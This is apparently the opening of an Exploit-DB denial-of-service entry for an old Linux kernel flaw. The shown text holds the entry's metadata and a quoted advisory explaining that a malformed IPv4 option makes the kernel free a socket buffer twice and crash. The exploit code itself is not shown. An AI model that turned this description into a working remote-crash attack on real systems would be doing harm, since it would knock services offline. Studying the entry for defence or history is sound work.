Linux Kernel 2.2/2.3 (Debian Linux 2.1 / RedHat Linux 6.0 / SuSE Linux 6.1) - IP Options

EDB-ID:

19241


Type:

dos


Platform:

Linux

Date:

1999-06-01


/*
source: https://www.securityfocus.com/bid/302/info

A vulnerability in the Linux Kernel's IPv4 option processing may allow a remote user to crash the system.

The vulnerability is the result of the kernel freeing a socket buffer when it shouldn't while sending an ICMP Parameter Problem error message in response to an IP packet with a malformed IP option. This results in the buffer being freed twice and in memory corruption.

Of the Debian Linux 2.1 supported architectures only the SPARC one is vulnerable.
